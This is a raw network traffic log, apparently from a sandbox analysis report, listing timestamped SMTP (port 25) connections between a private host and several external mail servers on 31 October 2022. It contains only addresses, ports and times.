Oct 31, 2022 12:21:06.033118010 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:06.053126097 CET	25	50135	198.252.153.129	192.168.2.5
Oct 31, 2022 12:21:06.053433895 CET	50135	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:21:06.121764898 CET	25	50134	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:06.122107983 CET	50134	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:06.146882057 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:06.147001982 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:06.226582050 CET	25	50135	198.252.153.129	192.168.2.5
Oct 31, 2022 12:21:06.235846996 CET	25	50135	198.252.153.129	192.168.2.5
Oct 31, 2022 12:21:06.236112118 CET	50135	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:21:06.308825970 CET	25	50134	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:06.341403961 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:06.341594934 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:06.370160103 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:06.370955944 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:06.409090042 CET	25	50135	198.252.153.129	192.168.2.5
Oct 31, 2022 12:21:06.409343958 CET	50135	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:21:06.583579063 CET	25	50135	198.252.153.129	192.168.2.5
Oct 31, 2022 12:21:06.590481997 CET	50135	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:21:06.645205975 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:06.645277023 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:06.736196041 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:06.762463093 CET	25	50135	198.252.153.129	192.168.2.5
Oct 31, 2022 12:21:06.762535095 CET	50135	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:21:06.779567957 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:06.779824972 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:06.822760105 CET	25	50134	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:06.822855949 CET	50134	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:06.899221897 CET	25	50078	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:06.900285006 CET	50078	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:06.902147055 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:06.902360916 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:06.968238115 CET	25	50134	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:06.968409061 CET	50134	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:06.968584061 CET	25	50134	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:06.968861103 CET	50134	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:07.055519104 CET	25	50078	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:07.055702925 CET	50078	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:07.096211910 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:07.210474968 CET	25	50078	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:07.212939024 CET	50078	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:07.218131065 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:07.218411922 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:07.267587900 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:07.406915903 CET	25	50078	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:07.430695057 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:07.430906057 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:07.534919977 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:07.653875113 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:07.656452894 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:07.796454906 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:07.973702908 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.024158955 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.024413109 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:08.111762047 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.122690916 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.389611959 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.439323902 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.552701950 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.557956934 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:08.558363914 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.559695959 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.560199976 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:08.572175980 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.876207113 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.888751984 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.888822079 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.888874054 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.888919115 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.888959885 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.888963938 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.889015913 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.889036894 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.889036894 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.889036894 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.889060974 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.889079094 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.889108896 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.889132023 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.889154911 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.889157057 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.889204025 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:08.889219999 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.889262915 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:08.923352957 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925345898 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925376892 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925389051 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925401926 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925412893 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925425053 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925436974 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925448895 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925461054 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925470114 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:08.925584078 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:08.925584078 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:08.925668955 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.205640078 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205698967 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205801964 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205823898 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205842018 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205862045 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205862999 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:09.205879927 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205899954 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205914021 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205925941 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205939054 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.205950975 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:09.205950975 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:09.206024885 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:09.206041098 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.206060886 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.206078053 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.206094980 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.206147909 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.206219912 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.206238031 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.206254959 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.206353903 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.291119099 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291179895 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291219950 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291227102 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.291227102 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.291258097 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291275024 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.291300058 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.291306019 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291328907 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291349888 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291359901 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.291359901 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.291394949 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291416883 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291418076 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.291430950 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.291439056 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291459084 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291467905 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:09.291477919 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291500092 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291517973 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291538000 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291558027 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291579008 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291600943 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291621923 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.291640997 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.522324085 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522356033 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522368908 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522382975 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522394896 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522579908 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522593021 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522603989 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522614956 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522651911 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522664070 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522676945 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522687912 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522701025 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522712946 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.522723913 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.656723022 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.656769037 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.656805038 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.656841993 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.656882048 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.656884909 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:09.657058954 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657104969 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657145023 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657174110 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657212973 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657252073 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657289028 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657330036 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657370090 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657408953 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657444954 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657483101 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657522917 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.657563925 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:09.679336071 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:09.697536945 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:09.706221104 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:09.706301928 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:09.729916096 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:09.734972954 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:09.752057076 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:09.752216101 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:09.778290033 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:09.778419018 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:09.786119938 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:09.786178112 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:09.805269957 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:09.807599068 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:09.807770014 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:09.807854891 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:09.807996035 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:09.834909916 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:09.835052013 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:09.842477083 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:09.862425089 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:09.865078926 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:09.867589951 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:09.888927937 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:09.891949892 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:09.892102957 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:09.946897030 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:09.947902918 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:09.947922945 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:09.978084087 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:09.987492085 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:09.987653971 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:10.006131887 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.006335974 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.033299923 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.033448935 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.043386936 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.047091007 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.075921059 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.090900898 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:10.093147993 CET	25	50136	142.250.157.27	192.168.2.5
Oct 31, 2022 12:21:10.093288898 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:10.209712029 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.240159988 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:10.240475893 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:10.240591049 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:10.262784958 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:10.717492104 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.721004009 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.722626925 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:10.745134115 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:10.745183945 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:10.748032093 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.748055935 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.748068094 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.748095989 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.748109102 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.748231888 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.748231888 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.753561974 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.753688097 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.775212049 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775252104 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775264978 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775278091 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775290012 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775301933 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775312901 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775324106 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775336027 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775352955 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775367975 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775401115 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.775401115 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.775468111 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.775489092 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775504112 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775515079 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775526047 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775537968 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775547981 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.775559902 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.780558109 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.780586004 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.799542904 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.800021887 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.800216913 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:10.801552057 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.801719904 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:10.802483082 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802504063 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802516937 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802529097 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802536011 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802547932 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802572012 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802582979 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802596092 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802607059 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802618027 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802629948 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802637100 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802661896 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802669048 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802680969 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802691936 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.802704096 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.807019949 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.807149887 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.811259031 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:10.834428072 CET	25	50137	142.250.153.27	192.168.2.5
Oct 31, 2022 12:21:10.834580898 CET	50137	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:21:10.856103897 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.856132984 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.856146097 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.856153965 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.856163025 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.856406927 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:10.861253977 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.861449003 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:10.867742062 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.868536949 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:10.869697094 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:10.910904884 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.910934925 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.910945892 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.910959005 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.910972118 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.910984039 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911001921 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911017895 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911036968 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911040068 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:10.911041021 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:10.911051989 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911065102 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911102057 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:10.911102057 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911112070 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911185980 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911197901 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911209106 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911221027 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.911231995 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.915760040 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.915776014 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.925889015 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.925915003 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.926106930 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:10.965454102 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965486050 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965500116 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965512991 CET	25	50138	142.250.150.27	192.168.2.5
